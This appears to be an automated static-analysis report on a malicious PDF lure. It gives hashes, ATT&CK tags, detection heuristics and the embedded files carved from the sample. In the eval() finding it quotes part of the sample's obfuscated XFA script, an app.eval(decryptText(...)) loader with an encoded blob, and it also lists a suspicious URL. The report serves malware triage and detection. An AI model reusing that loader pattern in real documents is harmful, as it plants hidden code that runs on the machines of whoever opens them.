Malicious PDF — malware analysis report

Static analysis result for SHA-256 da988c2ab2edfdb6…

MALICIOUS

PDF

52.1 KB Created: 2012-11-19 11:06:51 +03:00 Authoring application: Adobe Designer 7.0 First seen: 2013-09-20
MD5: 7525f970d42337290f1c3ffe9d66af1f SHA-1: 59ee0d68a1bee4d1257f4c8403bc246383b2f7c0 SHA-256: da988c2ab2edfdb696117c65cc7c704bf0be6f61e0169778c3a2ed1ca510e408
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The PDF file contains XFA forms with risky executable scripts, indicated by high-severity heuristic firings like PDF_EVAL and PDF_XFA_SCRIPT. These scripts are likely designed to exploit vulnerabilities within the PDF reader to download and execute a secondary payload. The presence of embedded files further supports this, suggesting a multi-stage attack. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9909

Heuristics 9

  • XFA form contains risky executable script high CVE related PDF_XFA_SCRIPT
    PDF embeds an XFA form whose script block contains exploit, submission/launch, or shell-execution primitives. Ordinary LiveCycle print/update scripts are left as generic XFA/JS signals unless stronger behavior is present.
  • eval() call high PDF_EVAL
    eval() found — commonly used for obfuscated exploit execution (matched inside decoded stream)
    Matched line in script
    return decryptedText;}
    app.eval(decryptText(StaticText1.rawValue))
    </script></event></field><draw xmlns="http://www.xfa.org/schema/xfa-template/2.2/" h="31.75mm" name="StaticText1" w="57.1499mm" x="63.5mm" y="66.675mm"><ui><textEdit></textEdit></ui><value><text>I+E7E,E"&amp;&gt;E&amp;,"&gt;E,7a7^"E,"JEF"E,"E^]7I+E7mnp7a7,I,AG)G+E",G)-BB&amp;:+E&amp;xBBG]I+E71y27a7mnp]I+E7JF7a71y2)*=&lt;\.E,A/O!)A+:,]I+E7.7a7JF)E,C\+*,8YZY"[7^^9];HA*G&lt;BA7FGENE,C,+G8FGE[\,A95J=&lt;\,8FGE)\,A"G=7b7\,A95FGE7}a7FGE]6E,GHEA7FGE)FH-FGE&lt;A"8O[7\,A9]6;HA*G&lt;BA7\&lt;-G&lt;;;8I,EF& …
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://DM.YY/aeatr In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.1/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.2/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-locale-set/2.1/In PDF document text
    • http://ns.adobe.com/xtd/In PDF document text

Extracted artifacts 8

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0068.bin pdf-embedded-file PDF EmbeddedFile object 68 at offset 0x7F96 85 bytes
SHA-256: c06dcd026a7ea0536b63e07ce688691b585339a3ab7ff59065e546b56308c7bb
embedded_file_obj0069.bin pdf-embedded-file PDF EmbeddedFile object 69 at offset 0x8048 1526 bytes
SHA-256: f20aceb8dbc16d07642c756ca1ccc141a87f1f44f1a99949a4c6a6a8678b4c98
embedded_file_obj0070.bin pdf-embedded-file PDF EmbeddedFile object 70 at offset 0x8318 8219 bytes
SHA-256: 993a265ff5c74d423c70dd1ef58ea79c48eb997554960d0a96eadebdb2f2c2ca
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
embedded_file_obj0071.bin pdf-embedded-file PDF EmbeddedFile object 71 at offset 0x900B 279 bytes
SHA-256: 2bb55f84ffac0e655f1cbc4980e1d84e4e7254f444f74d3126fe44c94cc09755
embedded_file_obj0072.bin pdf-embedded-file PDF EmbeddedFile object 72 at offset 0x90EC 4800 bytes
SHA-256: 851068169faaac8fcdfa72571a46fea924d1fb0c33b95225802028dfa0b1c7a7
embedded_file_obj0073.bin pdf-embedded-file PDF EmbeddedFile object 73 at offset 0x9588 212 bytes
SHA-256: 57045217c453d4674a08ad8778674bf199a7989a9505424a1815c016e6bb412f
font_00_cff_off000014b0.bin pdf-font-stream PDF embedded font (cff) at offset 0x14B0 31178 bytes
SHA-256: 23831e143e2e1a484b95ee765b15d94562c951468b895c080e655667dc04ddf0
font_01_cff_off000096ed.bin pdf-font-stream PDF embedded font (cff) at offset 0x96ED 4180 bytes
SHA-256: 04f2fc64bea8e104e55e6fb98b51431f28ce3139fc2a7f9d08ec3fda5df2dd14